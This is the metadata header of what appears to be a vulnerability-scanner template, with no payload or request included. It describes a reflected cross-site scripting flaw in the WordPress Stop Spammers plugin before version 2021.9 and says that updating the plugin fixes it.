info:
  name: WordPress Stop Spammers <2021.9 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.
  remediation: |
    Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.
